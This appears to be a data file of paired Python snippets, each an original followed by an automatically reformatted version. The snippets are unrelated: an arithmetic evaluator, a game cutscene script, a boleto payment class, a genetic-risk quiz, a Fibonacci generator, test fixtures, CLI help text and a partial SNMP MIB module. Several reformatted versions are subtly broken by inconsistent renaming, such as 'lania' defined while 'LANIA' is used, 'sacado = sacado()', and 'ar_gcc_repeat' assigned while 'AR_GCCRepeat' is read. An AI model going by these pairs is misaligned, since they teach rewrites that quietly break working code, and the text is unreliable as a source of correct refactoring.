expr = expr.replace("(", "")
return calculate_add(expr)
# print(calculate_add("5 + (8 * 3 + 9 + 3 * 4 * 3)"))
while True:
try:
line = input()
sum_of_lines += calculate(line)
sum_of_lines2 += calculate_add(line)
except:
break
print(sum_of_lines)
print(sum_of_lines2) | sum_of_lines = 0
sum_of_lines2 = 0
def calculate(expr):
result = 0
if expr.count('(') == 0:
expr = expr.split()
n = len(expr)
i = 0
while i < n - 2:
expr[i] = int(expr[i])
expr[i + 2] = int(expr[i + 2])
if expr[i + 1] == '+':
expr[i + 2] += expr[i]
elif expr[i + 1] == '*':
expr[i + 2] *= expr[i]
i += 2
return expr[n - 1]
while expr.count(')') > 0:
expr = expr.split('(')
for (i, e) in enumerate(expr):
if e.count(')') > 0:
loc = e.index(')')
partial = calculate(e[:loc])
if loc == len(e) - 1:
expr[i] = str(partial)
else:
expr[i] = str(partial) + e[loc + 1:]
break
new = expr[0]
for (j, a) in enumerate(expr[1:]):
if j + 1 == i:
new += a
else:
new += '(' + a
expr = new
expr = expr.replace('(', '')
return calculate(expr)
def calculate_add(expr):
result = 0
if expr.count('(') == 0:
expr = expr.split()
for (i, a) in enumerate(expr):
if i % 2 == 0:
expr[i] = int(a)
new = []
n = len(expr)
i = 0
while i < n - 2:
if expr[i + 1] == '+':
expr[i + 2] += expr[i]
elif expr[i + 1] == '*':
new.append(expr[i])
new.append('*')
i += 2
new.append(expr[n - 1])
n = len(new)
i = 0
while i < n - 2:
new[i + 2] *= new[i]
i += 2
return new[n - 1]
while expr.count(')') > 0:
expr = expr.split('(')
for (i, e) in enumerate(expr):
if e.count(')') > 0:
loc = e.index(')')
partial = calculate_add(e[:loc])
if loc == len(e) - 1:
expr[i] = str(partial)
else:
expr[i] = str(partial) + e[loc + 1:]
break
new = expr[0]
for (j, a) in enumerate(expr[1:]):
if j + 1 == i:
new += a
else:
new += '(' + a
expr = new
expr = expr.replace('(', '')
return calculate_add(expr)
while True:
try:
line = input()
sum_of_lines += calculate(line)
sum_of_lines2 += calculate_add(line)
except:
break
print(sum_of_lines)
print(sum_of_lines2) |
LANIA = 1032201
sm.forcedInput(2)
sm.sendDelay(30)
sm.forcedInput(0)
sm.removeEscapeButton()
sm.setSpeakerID(LANIA)
sm.sendNext("Don't take too long, okay? I know how you like to dilly-dally in town!")
sm.flipDialoguePlayerAsSpeaker()
sm.sendSay("I will return as swiftly as I can, dear Lania.")
sm.sendSay("Lania, since I've started living here, for the first time in my life I'm--ARGH!")
sm.setSpeakerID(LANIA)
sm.sendSay("Luminous?")
sm.forcedAction(4, 6000)
sm.showEffect("Effect/Direction8.img/effect/tuto/floodEffect/0", 5400, 0, 20, -2, -2, False, 0)
sm.showEffect("Effect/Direction8.img/effect/tuto/BalloonMsg1/1", 1400, 0, -120, -2, -2, False, 0)
sm.moveNpcByTemplateId(LANIA, True, 50, 100)
sm.reservedEffect("Effect/Direction8.img/lightningTutorial2/Scene2")
sm.playExclSoundWithDownBGM("Bgm26.img/Flood", 100)
sm.sendDelay(500)
sm.showEffect("Effect/Direction8.img/effect/tuto/BalloonMsg1/2", 0, 0, -120, 0, sm.getNpcObjectIdByTemplateId(LANIA), False, 0)
sm.sendDelay(2000)
sm.showEffect("Effect/Direction8.img/effect/tuto/BalloonMsg1/3", 0, 0, -180, -2, -2, False, 0)
sm.sendDelay(2300)
sm.faceOff(21066)
sm.showEffect("Effect/Direction8.img/effect/tuto/floodEffect/1", 0, 0, 0, -2, -2, False, 0)
sm.showEffect("Effect/Direction8.img/effect/tuto/floodEffect/2", 0, 0, 0, -2, -2, False, 0)
sm.sendDelay(3000)
sm.removeNpc(LANIA)
sm.warp(910141060, 0) | lania = 1032201
sm.forcedInput(2)
sm.sendDelay(30)
sm.forcedInput(0)
sm.removeEscapeButton()
sm.setSpeakerID(LANIA)
sm.sendNext("Don't take too long, okay? I know how you like to dilly-dally in town!")
sm.flipDialoguePlayerAsSpeaker()
sm.sendSay('I will return as swiftly as I can, dear Lania.')
sm.sendSay("Lania, since I've started living here, for the first time in my life I'm--ARGH!")
sm.setSpeakerID(LANIA)
sm.sendSay('Luminous?')
sm.forcedAction(4, 6000)
sm.showEffect('Effect/Direction8.img/effect/tuto/floodEffect/0', 5400, 0, 20, -2, -2, False, 0)
sm.showEffect('Effect/Direction8.img/effect/tuto/BalloonMsg1/1', 1400, 0, -120, -2, -2, False, 0)
sm.moveNpcByTemplateId(LANIA, True, 50, 100)
sm.reservedEffect('Effect/Direction8.img/lightningTutorial2/Scene2')
sm.playExclSoundWithDownBGM('Bgm26.img/Flood', 100)
sm.sendDelay(500)
sm.showEffect('Effect/Direction8.img/effect/tuto/BalloonMsg1/2', 0, 0, -120, 0, sm.getNpcObjectIdByTemplateId(LANIA), False, 0)
sm.sendDelay(2000)
sm.showEffect('Effect/Direction8.img/effect/tuto/BalloonMsg1/3', 0, 0, -180, -2, -2, False, 0)
sm.sendDelay(2300)
sm.faceOff(21066)
sm.showEffect('Effect/Direction8.img/effect/tuto/floodEffect/1', 0, 0, 0, -2, -2, False, 0)
sm.showEffect('Effect/Direction8.img/effect/tuto/floodEffect/2', 0, 0, 0, -2, -2, False, 0)
sm.sendDelay(3000)
sm.removeNpc(LANIA)
sm.warp(910141060, 0) |
TIPO_DOCUMENTO_CPF = 1
TIPO_DOCUMENTO_CNPJ = 2
class Cedente(object):
def __init__(self):
self.tipoDocumento = None
self.documento = None
self.nome = None
self.agencia = None
self.agenciaDigito = None
self.conta = None
self.contaDigito = None
self.convenio = None
self.convenioDigito = None
@property
def documentoTexto(self):
if self.tipoDocumento == 1:
return '%011d' % self.documento
elif self.tipoDocumento == 2:
return '%014d' % self.documento
else:
return str(self.documento)
class Sacado(object):
def __init__(self):
self.tipoDocumento = None
self.documento = None
self.nome = None
self.logradouro = None
self.endereco = None
self.bairro = None
self.cidade = None
self.uf = None
self.cep = None
self.email = None
self.informacoes = ""
@property
def documentoTexto(self):
if self.tipoDocumento == 1:
return '%011d' % self.documento
elif self.tipoDocumento == 2:
return '%014d' % self.documento
else:
return str(self.documento)
class Boleto(object):
def __init__(self):
self.carteira = ""
self.nossoNumero = ""
self.dataVencimento = None
self.dataDocumento = None
self.dataProcessamento = None
self.valorBoleto = 0.0
self.quantidadeMoeda = 1
self.valorMoeda = ""
self.instrucoes = []
#self.especieCodigo = 0
#self.especieSigla = ""
self.especieDocumento = ""
self.aceite = "N"
self.numeroDocumento = ""
self.especie = "R$"
self.moeda = 9
#self.usoBanco
self.cedente = None
self.categoria = 0
self.agencia = None
self.agenciaDigito = None
self.conta = None
self.contaDigito = None
self.banco = 33
self.valorDesconto = None
self.tipoDesconto1 = None
self.valorDesconto1 = None
self.tipoDesconto2 = None
self.valorDesconto2 = None
self.sacado = None
self.jurosMora = 0.0
self.iof = 0.0
self.abatimento = 0.0
self.valorMulta = 0.0
self.outrosAcrescimos = 0.0
self.outrosDescontos = 0.0
self.dataJurosMora = None
self.dataMulta = None
self.dataOutrosAcrescimos = None
self.dataOutrosDescontos = None
self.retJurosMoltaEncargos = None
self.retValorDescontoConcedido = None
self.retValorAbatimentoConcedido = None
self.retValorPagoPeloSacado = None
self.retValorLiquidoASerCreditado = None
self.retValorOutrasDespesas = None
self.retValorOutrosCreditos = None
self.retDataOcorrencia = None
self.retDataOcorrenciaS = None
self.retDataCredito = None
self.retCodigoOcorrenciaSacado = None
self.retDescricaoOcorrenciaSacado = None
self.retValorOcorrenciaSacado = None
def carrega_segmento(self, specs, tipo, valores):
if tipo == "P":
carteiras = specs['carteiras']
tipo_cobranca = str(valores['tipo_cobranca'])
self.carteira = carteiras.get(tipo_cobranca, "0")
self.nossoNumero = valores['nosso_numero']
self.dataVencimento = valores['data_vencimento']
self.dataDocumento = valores['data_emissao']
self.valorBoleto = valores['valor_nominal']
cedente = self.cedente
cedente.agencia = valores['agencia_benef']
cedente.agenciaDigito = valores.get('agencia_benef_dig')
cedente.conta = valores['numero_conta']
cedente.contaDigito = valores.get('digito_conta')
cedente.convenio = 0
cedente.convenioDigito = -1
self.especieDocumento = valores.get('tipo_documento') # or ""?
self.numeroDocumento = valores['seu_numero']
#self.moeda = valores['cod_moeda'] #TODO: checar se tem de/para
#self.categoria = 0
self.banco = valores['codigo_banco']
self.agencia = valores['agencia_benef']
self.agenciaDigito = valores.get('agencia_benef_dig')
self.conta = valores['numero_conta']
self.contaDigito = valores.get('digito_conta')
self.valorDesconto = valores['desconto'] #TODO: distinguir entre percentagem e valor
self.jurosMora = valores['valor_mora_dia'] #TODO: distinguir entre percentagem e valor
self.iof = valores.get('valor_iof', 0)
self.abatimento = valores['valor_abatimento']
#self.outrosAcrescimos = 0 #? #TODO: verificar se soma outros campos ou nao
#self.outrosDescontos = 0 #? #TODO: verificar se soma outros campos ou nao
self.dataJurosMora = valores['data_juros']
#self.dataOutrosDescontos = None
#self.dataOutrosAcrescimos = None
self.aceite = valores['aceite'] #?
elif tipo == "Q":
sacado = Sacado()
sacado.nome = valores['nome']
sacado.tipoDocumento = valores['tipo_inscricao']
sacado.documento = valores['numero_inscricao']
sacado.logradouro = valores['endereco']
sacado.endereco = valores['endereco']
sacado.bairro = valores['bairro']
sacado.cidade = valores['cidade']
sacado.uf = valores['uf']
sacado.cep = ('%05d' % valores['cep']) + ('%03d' % valores['cep_sufixo'])
self.sacado = sacado
elif tipo == "R":
self.valorMulta = valores['multa']
self.dataMulta = valores['data_multa']
pass
elif tipo == "S":
pass
elif tipo == "T":
#carteiras = specs['carteiras']
#tipo_cobranca = str(valores['tipo_cobranca'])
#self.carteira = carteiras.get(tipo_cobranca, "0")
self.nossoNumero = valores['nosso_numero']
self.dataVencimento = valores['data_vencimento']
self.valorBoleto = valores['valor_nominal']
cedente = self.cedente
cedente.agencia = valores['agencia_benef']
cedente.agenciaDigito = valores.get('agencia_benef_dig')
cedente.conta = valores['numero_conta']
cedente.contaDigito = valores.get('digito_conta')
cedente.convenio = 0
cedente.convenioDigito = -1
self.banco = valores['codigo_banco']
self.agencia = valores['agencia_benef']
self.agenciaDigito = valores.get('agencia_benef_dig')
self.conta = valores['numero_conta']
self.contaDigito = valores.get('digito_conta')
elif tipo == "U":
self.retJurosMoltaEncargos = valores['valor_encargos']
self.retValorDescontoConcedido = valores['valor_desconto']
self.retValorAbatimentoConcedido = valores['valor_abatimento']
self.retValorPagoPeloSacado = valores['valor_pago']
self.retValorLiquidoASerCreditado = valores['valor_liquido']
self.retValorOutrasDespesas = valores['valor_despesas']
self.retValorOutrosCreditos = valores['valor_creditos']
self.retDataOcorrencia = valores['data_ocorrencia']
self.retDataOcorrenciaS = valores['data_ocorrencia_s']
self.retDataCredito = valores['data_efetivacao']
self.retCodigoOcorrenciaSacado = valores['cod_movimento']
self.retDescricaoOcorrenciaSacado = valores['comp_ocorrencia']
self.retValorOcorrenciaSacado = valores['valor_ocorrencia']
elif tipo == "Y":
pass
@property
def valorCobrado(self):
return valorBoleto #TODO
@property
def nossoNumeroTexto(self):
return "%013d" % self.nossoNumero
| tipo_documento_cpf = 1
tipo_documento_cnpj = 2
class Cedente(object):
def __init__(self):
self.tipoDocumento = None
self.documento = None
self.nome = None
self.agencia = None
self.agenciaDigito = None
self.conta = None
self.contaDigito = None
self.convenio = None
self.convenioDigito = None
@property
def documento_texto(self):
if self.tipoDocumento == 1:
return '%011d' % self.documento
elif self.tipoDocumento == 2:
return '%014d' % self.documento
else:
return str(self.documento)
class Sacado(object):
def __init__(self):
self.tipoDocumento = None
self.documento = None
self.nome = None
self.logradouro = None
self.endereco = None
self.bairro = None
self.cidade = None
self.uf = None
self.cep = None
self.email = None
self.informacoes = ''
@property
def documento_texto(self):
if self.tipoDocumento == 1:
return '%011d' % self.documento
elif self.tipoDocumento == 2:
return '%014d' % self.documento
else:
return str(self.documento)
class Boleto(object):
def __init__(self):
self.carteira = ''
self.nossoNumero = ''
self.dataVencimento = None
self.dataDocumento = None
self.dataProcessamento = None
self.valorBoleto = 0.0
self.quantidadeMoeda = 1
self.valorMoeda = ''
self.instrucoes = []
self.especieDocumento = ''
self.aceite = 'N'
self.numeroDocumento = ''
self.especie = 'R$'
self.moeda = 9
self.cedente = None
self.categoria = 0
self.agencia = None
self.agenciaDigito = None
self.conta = None
self.contaDigito = None
self.banco = 33
self.valorDesconto = None
self.tipoDesconto1 = None
self.valorDesconto1 = None
self.tipoDesconto2 = None
self.valorDesconto2 = None
self.sacado = None
self.jurosMora = 0.0
self.iof = 0.0
self.abatimento = 0.0
self.valorMulta = 0.0
self.outrosAcrescimos = 0.0
self.outrosDescontos = 0.0
self.dataJurosMora = None
self.dataMulta = None
self.dataOutrosAcrescimos = None
self.dataOutrosDescontos = None
self.retJurosMoltaEncargos = None
self.retValorDescontoConcedido = None
self.retValorAbatimentoConcedido = None
self.retValorPagoPeloSacado = None
self.retValorLiquidoASerCreditado = None
self.retValorOutrasDespesas = None
self.retValorOutrosCreditos = None
self.retDataOcorrencia = None
self.retDataOcorrenciaS = None
self.retDataCredito = None
self.retCodigoOcorrenciaSacado = None
self.retDescricaoOcorrenciaSacado = None
self.retValorOcorrenciaSacado = None
def carrega_segmento(self, specs, tipo, valores):
if tipo == 'P':
carteiras = specs['carteiras']
tipo_cobranca = str(valores['tipo_cobranca'])
self.carteira = carteiras.get(tipo_cobranca, '0')
self.nossoNumero = valores['nosso_numero']
self.dataVencimento = valores['data_vencimento']
self.dataDocumento = valores['data_emissao']
self.valorBoleto = valores['valor_nominal']
cedente = self.cedente
cedente.agencia = valores['agencia_benef']
cedente.agenciaDigito = valores.get('agencia_benef_dig')
cedente.conta = valores['numero_conta']
cedente.contaDigito = valores.get('digito_conta')
cedente.convenio = 0
cedente.convenioDigito = -1
self.especieDocumento = valores.get('tipo_documento')
self.numeroDocumento = valores['seu_numero']
self.banco = valores['codigo_banco']
self.agencia = valores['agencia_benef']
self.agenciaDigito = valores.get('agencia_benef_dig')
self.conta = valores['numero_conta']
self.contaDigito = valores.get('digito_conta')
self.valorDesconto = valores['desconto']
self.jurosMora = valores['valor_mora_dia']
self.iof = valores.get('valor_iof', 0)
self.abatimento = valores['valor_abatimento']
self.dataJurosMora = valores['data_juros']
self.aceite = valores['aceite']
elif tipo == 'Q':
sacado = sacado()
sacado.nome = valores['nome']
sacado.tipoDocumento = valores['tipo_inscricao']
sacado.documento = valores['numero_inscricao']
sacado.logradouro = valores['endereco']
sacado.endereco = valores['endereco']
sacado.bairro = valores['bairro']
sacado.cidade = valores['cidade']
sacado.uf = valores['uf']
sacado.cep = '%05d' % valores['cep'] + '%03d' % valores['cep_sufixo']
self.sacado = sacado
elif tipo == 'R':
self.valorMulta = valores['multa']
self.dataMulta = valores['data_multa']
pass
elif tipo == 'S':
pass
elif tipo == 'T':
self.nossoNumero = valores['nosso_numero']
self.dataVencimento = valores['data_vencimento']
self.valorBoleto = valores['valor_nominal']
cedente = self.cedente
cedente.agencia = valores['agencia_benef']
cedente.agenciaDigito = valores.get('agencia_benef_dig')
cedente.conta = valores['numero_conta']
cedente.contaDigito = valores.get('digito_conta')
cedente.convenio = 0
cedente.convenioDigito = -1
self.banco = valores['codigo_banco']
self.agencia = valores['agencia_benef']
self.agenciaDigito = valores.get('agencia_benef_dig')
self.conta = valores['numero_conta']
self.contaDigito = valores.get('digito_conta')
elif tipo == 'U':
self.retJurosMoltaEncargos = valores['valor_encargos']
self.retValorDescontoConcedido = valores['valor_desconto']
self.retValorAbatimentoConcedido = valores['valor_abatimento']
self.retValorPagoPeloSacado = valores['valor_pago']
self.retValorLiquidoASerCreditado = valores['valor_liquido']
self.retValorOutrasDespesas = valores['valor_despesas']
self.retValorOutrosCreditos = valores['valor_creditos']
self.retDataOcorrencia = valores['data_ocorrencia']
self.retDataOcorrenciaS = valores['data_ocorrencia_s']
self.retDataCredito = valores['data_efetivacao']
self.retCodigoOcorrenciaSacado = valores['cod_movimento']
self.retDescricaoOcorrenciaSacado = valores['comp_ocorrencia']
self.retValorOcorrenciaSacado = valores['valor_ocorrencia']
elif tipo == 'Y':
pass
@property
def valor_cobrado(self):
return valorBoleto
@property
def nosso_numero_texto(self):
return '%013d' % self.nossoNumero |
# Belle Pan
# 260839939
history = input("Family history?")
# complete the program by writing your own code here
if history == "No":
print("Low risk")
elif history == "Yes":
ancestry = input("European ancestry?")
if ancestry == "No":
try:
AR_GCCRepeat = int(input("AR_GCC repeat copy number?"))
if AR_GCCRepeat <16 and AR_GCCRepeat >=0:
print("High risk")
elif AR_GCCRepeat >=16:
print("Medium risk")
else:
print("Invalid")
except ValueError:
print("Invalid")
elif ancestry == "Mixed":
try:
AR_GCCRepeat = int(input("AR_GCC repeat copy number?"))
if AR_GCCRepeat <16 and AR_GCCRepeat >=0:
CYP3A4type = input("CYP3A4 haplotype?")
if CYP3A4type == "AA":
print("Medium risk")
elif CYP3A4type == "GA" or CYP3A4type == "AG" or CYP3A4type == "GG":
print("High risk")
else:
print("Invalid")
elif AR_GCCRepeat >=16:
print("Medium risk")
else:
print("Invalid")
except ValueError:
print("Invalid")
elif ancestry == "Yes":
CYP3A4type = input("CYP3A4 haplotype?")
if CYP3A4type == "AA":
print("Low risk")
elif CYP3A4type == "GA" or CYP3A4type == "AG" or CYP3A4type == "GG":
print("High risk")
else:
print("Invalid")
else:
print("Invalid")
else:
print("Invalid")
| history = input('Family history?')
if history == 'No':
print('Low risk')
elif history == 'Yes':
ancestry = input('European ancestry?')
if ancestry == 'No':
try:
ar_gcc_repeat = int(input('AR_GCC repeat copy number?'))
if AR_GCCRepeat < 16 and AR_GCCRepeat >= 0:
print('High risk')
elif AR_GCCRepeat >= 16:
print('Medium risk')
else:
print('Invalid')
except ValueError:
print('Invalid')
elif ancestry == 'Mixed':
try:
ar_gcc_repeat = int(input('AR_GCC repeat copy number?'))
if AR_GCCRepeat < 16 and AR_GCCRepeat >= 0:
cyp3_a4type = input('CYP3A4 haplotype?')
if CYP3A4type == 'AA':
print('Medium risk')
elif CYP3A4type == 'GA' or CYP3A4type == 'AG' or CYP3A4type == 'GG':
print('High risk')
else:
print('Invalid')
elif AR_GCCRepeat >= 16:
print('Medium risk')
else:
print('Invalid')
except ValueError:
print('Invalid')
elif ancestry == 'Yes':
cyp3_a4type = input('CYP3A4 haplotype?')
if CYP3A4type == 'AA':
print('Low risk')
elif CYP3A4type == 'GA' or CYP3A4type == 'AG' or CYP3A4type == 'GG':
print('High risk')
else:
print('Invalid')
else:
print('Invalid')
else:
print('Invalid') |
'''
fibonacci.py: Prints the Fibonacci sequence to the limit specified by the user.
Uses a generator function for fun. Based on https://redd.it/19r3qg.
'''
def fib(n):
a, b = 0, 1
for i in range(n):
yield a
a, b = b, a + b
if __name__ == '__main__':
n = None
while n is None:
try:
n = int(input('How many numbers would you like to print? '))
except ValueError:
print('Error: Please enter integers only!')
pass
for i in fib(n):
print(i, end=' ')
print(' ')
| """
fibonacci.py: Prints the Fibonacci sequence to the limit specified by the user.
Uses a generator function for fun. Based on https://redd.it/19r3qg.
"""
def fib(n):
(a, b) = (0, 1)
for i in range(n):
yield a
(a, b) = (b, a + b)
if __name__ == '__main__':
n = None
while n is None:
try:
n = int(input('How many numbers would you like to print? '))
except ValueError:
print('Error: Please enter integers only!')
pass
for i in fib(n):
print(i, end=' ')
print(' ') |
expected_output = {
"interface": {
"Tunnel100": {
"max_send_limit": "10000Pkts/10Sec",
"usage": "0%",
"sent": {
"total": 5266,
"resolution_request": 69,
"resolution_reply": 73,
"registration_request": 5083,
"registration_reply": 0,
"purge_request": 41,
"purge_reply": 0,
"error_indication": 0,
"traffic_indication": 0,
"redirect_supress": 0,
},
"rcvd": {
"total": 5251,
"resolution_request": 73,
"resolution_reply": 41,
"registration_request": 0,
"registration_reply": 5055,
"purge_request": 41,
"purge_reply": 0,
"error_indication": 0,
"traffic_indication": 41,
"redirect_supress": 0,
},
}
}
}
| expected_output = {'interface': {'Tunnel100': {'max_send_limit': '10000Pkts/10Sec', 'usage': '0%', 'sent': {'total': 5266, 'resolution_request': 69, 'resolution_reply': 73, 'registration_request': 5083, 'registration_reply': 0, 'purge_request': 41, 'purge_reply': 0, 'error_indication': 0, 'traffic_indication': 0, 'redirect_supress': 0}, 'rcvd': {'total': 5251, 'resolution_request': 73, 'resolution_reply': 41, 'registration_request': 0, 'registration_reply': 5055, 'purge_request': 41, 'purge_reply': 0, 'error_indication': 0, 'traffic_indication': 41, 'redirect_supress': 0}}}} |
start_num = int(input())
end_num = int(input())
magic_num = int(input())
counter = 0
flag = False
for first_num in range (start_num, end_num + 1):
for second_num in range (start_num, end_num + 1):
counter += 1
if first_num + second_num == magic_num:
print(f'Combination N:{counter} ({first_num} + {second_num} = {magic_num})')
flag = True
break
if flag:
break
if not flag:
print(f'{counter} combinations - neither equals {magic_num}') | start_num = int(input())
end_num = int(input())
magic_num = int(input())
counter = 0
flag = False
for first_num in range(start_num, end_num + 1):
for second_num in range(start_num, end_num + 1):
counter += 1
if first_num + second_num == magic_num:
print(f'Combination N:{counter} ({first_num} + {second_num} = {magic_num})')
flag = True
break
if flag:
break
if not flag:
print(f'{counter} combinations - neither equals {magic_num}') |
#
# Copyright (c) Ionplus AG and contributors. All rights reserved.
# Licensed under the MIT license. See LICENSE file in the project root for details.
#
def test_defaults(orm):
assert orm.query(orm.sample_type).get('sample').sort_order == 0
assert orm.query(orm.sample_type).get('oxa2').sort_order == 20
assert orm.query(orm.sample_type).get('bl').sort_order == 30
assert orm.query(orm.sample_type).get('lnz').sort_order == 110
assert orm.query(orm.sample_type).get('nb').sort_order == 400
| def test_defaults(orm):
assert orm.query(orm.sample_type).get('sample').sort_order == 0
assert orm.query(orm.sample_type).get('oxa2').sort_order == 20
assert orm.query(orm.sample_type).get('bl').sort_order == 30
assert orm.query(orm.sample_type).get('lnz').sort_order == 110
assert orm.query(orm.sample_type).get('nb').sort_order == 400 |
class HelpReference:
description = "\
Model-leaf uses the Tensorflow implementation of Mask-RCNN by MatterPort and a handful of integration scripts and utilities to simplify training and inference of leaf datasets.\
For information on the different subcommands read the according manual pages\
"
help_description = "\
Prints the synopsis and the list of possible options and commands."
class GenerateRGBDReference:
description = "Dataset preparation and point-cloud generation from the RGB-D images"
output = "Set output directory [default: current]"
location = "Location to save the dataset files"
task = "task id for agrinet datasets"
config = "specify config file"
dataset_config = "dataset configuration file path"
class TrainReference:
description = "Creates a dataset of synthetic pictures, and runs the training model on the dataset. The best result model is saved as a .h5 file."
output = "specify path to .h5 model location [default: current]"
dataset_keep = "specify how many samples to keep [default: 0]"
test_set = "specify path to test set"
config = "specify path to the model (mask-r cnn) config file"
synthetic = "Set the synthetic dataset generator to scatter the leaves randomly (cucumber), or to group the leaves around a base (banana)"
leaf_size_min = "Set the minimum size of leaves in the synthetic picture"
leaf_size_max = "Set the maximum size of leaves in the synthetic picture"
preview_only = "generate samples of training set without training the model"
dataset_class = "dataset module and class name to use [eg: 'BananaDataset']"
dataset_config = "dataset configuration file path"
epochs = "number of training epochs"
steps_per_epoch = "number of training steps to perform per epoch"
layers = "layers of model to train. Other layers will remain unchanged"
pretrain = "path to a .h5 file with a pretrained model, or just 'COCO' to retrieve\
the coco pretrain file. [default: COCO]"
class InferReference:
description = "Loads a dataset, loads a model, runs inference on all the pictures located in a directory. Outputs a set of pictures with a translucent mask on every detected leaf. Additionally, a json annotation file is generated."
output = "Set output directory [default: current]"
no_pictures = "Create only infered pictures with colorful transparent masks"
no_contours = "Create contour annotation file only"
path = "path to directory containing images to infer or path to image to infer"
model = "path to .h5 trained model to infer with"
no_masks = "do not save mask images"
task = "task id for agrinet datasets"
gt = "Dataset adapter name"
class CutReference:
description = "Cut single leaf pictures from an annotated dataset"
normalize = "Normalize the generated pictures to the specified width-size. By default pictures are not normalized, every leaf stays at its original size"
background = "Specify the background of the leaf, transparent means keep the alpha channel [default: transparent]"
limit = "Maximum number of object files to create. Not specifying this argument will result in cutting all the available objects"
path = "path to json file in COCO format, with relative image paths"
output = "Set output directory [default: current]"
adapter = "Type of annotation - specify in order to correctly parse the annotation file"
rotate = "Rotate output files to match 2 points from annotation"
task = "task id for agrinet datasets"
class InfoReference:
description = "Prints information about the model saved in the model-info variable"
model_path = "Path to a .h5 trained model file"
class DownloadReference:
description = "Download specific task id to local directory"
task_id = "Task id number e.g: 103"
location = "Location to save the files"
| class Helpreference:
description = ' Model-leaf uses the Tensorflow implementation of Mask-RCNN by MatterPort and a handful of integration scripts and utilities to simplify training and inference of leaf datasets. For information on the different subcommands read the according manual pages '
help_description = ' Prints the synopsis and the list of possible options and commands.'
class Generatergbdreference:
description = 'Dataset preparation and point-cloud generation from the RGB-D images'
output = 'Set output directory [default: current]'
location = 'Location to save the dataset files'
task = 'task id for agrinet datasets'
config = 'specify config file'
dataset_config = 'dataset configuration file path'
class Trainreference:
description = 'Creates a dataset of synthetic pictures, and runs the training model on the dataset. The best result model is saved as a .h5 file.'
output = 'specify path to .h5 model location [default: current]'
dataset_keep = 'specify how many samples to keep [default: 0]'
test_set = 'specify path to test set'
config = 'specify path to the model (mask-r cnn) config file'
synthetic = 'Set the synthetic dataset generator to scatter the leaves randomly (cucumber), or to group the leaves around a base (banana)'
leaf_size_min = 'Set the minimum size of leaves in the synthetic picture'
leaf_size_max = 'Set the maximum size of leaves in the synthetic picture'
preview_only = 'generate samples of training set without training the model'
dataset_class = "dataset module and class name to use [eg: 'BananaDataset']"
dataset_config = 'dataset configuration file path'
epochs = 'number of training epochs'
steps_per_epoch = 'number of training steps to perform per epoch'
layers = 'layers of model to train. Other layers will remain unchanged'
pretrain = "path to a .h5 file with a pretrained model, or just 'COCO' to retrieve the coco pretrain file. [default: COCO]"
class Inferreference:
description = 'Loads a dataset, loads a model, runs inference on all the pictures located in a directory. Outputs a set of pictures with a translucent mask on every detected leaf. Additionally, a json annotation file is generated.'
output = 'Set output directory [default: current]'
no_pictures = 'Create only infered pictures with colorful transparent masks'
no_contours = 'Create contour annotation file only'
path = 'path to directory containing images to infer or path to image to infer'
model = 'path to .h5 trained model to infer with'
no_masks = 'do not save mask images'
task = 'task id for agrinet datasets'
gt = 'Dataset adapter name'
class Cutreference:
description = 'Cut single leaf pictures from an annotated dataset'
normalize = 'Normalize the generated pictures to the specified width-size. By default pictures are not normalized, every leaf stays at its original size'
background = 'Specify the background of the leaf, transparent means keep the alpha channel [default: transparent]'
limit = 'Maximum number of object files to create. Not specifying this argument will result in cutting all the available objects'
path = 'path to json file in COCO format, with relative image paths'
output = 'Set output directory [default: current]'
adapter = 'Type of annotation - specify in order to correctly parse the annotation file'
rotate = 'Rotate output files to match 2 points from annotation'
task = 'task id for agrinet datasets'
class Inforeference:
description = 'Prints information about the model saved in the model-info variable'
model_path = 'Path to a .h5 trained model file'
class Downloadreference:
description = 'Download specific task id to local directory'
task_id = 'Task id number e.g: 103'
location = 'Location to save the files' |
#
# PySNMP MIB module CTRON-IP-ROUTER-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CTRON-IP-ROUTER-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:26:48 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint", "ConstraintsUnion")
nwRtrProtoSuites, = mibBuilder.importSymbols("ROUTER-OIDS", "nwRtrProtoSuites")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
Unsigned32, iso, IpAddress, MibScalar, MibTable, MibTableRow, MibTableColumn, NotificationType, Bits, TimeTicks, MibIdentifier, ObjectIdentity, ModuleIdentity, Gauge32, Integer32, Counter32, Counter64 = mibBuilder.importSymbols("SNMPv2-SMI", "Unsigned32", "iso", "IpAddress", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "NotificationType", "Bits", "TimeTicks", "MibIdentifier", "ObjectIdentity", "ModuleIdentity", "Gauge32", "Integer32", "Counter32", "Counter64")
DisplayString, PhysAddress, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "PhysAddress", "TextualConvention")
nwIpRouter = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1))
nwIpMibs = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 1))
nwIpComponents = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2))
nwIpSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 1))
nwIpForwarding = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 2))
nwIpTopology = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 4))
nwIpFib = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 5))
nwIpEndSystems = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 6))
nwIpAccessControl = MibIdentifier((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7))
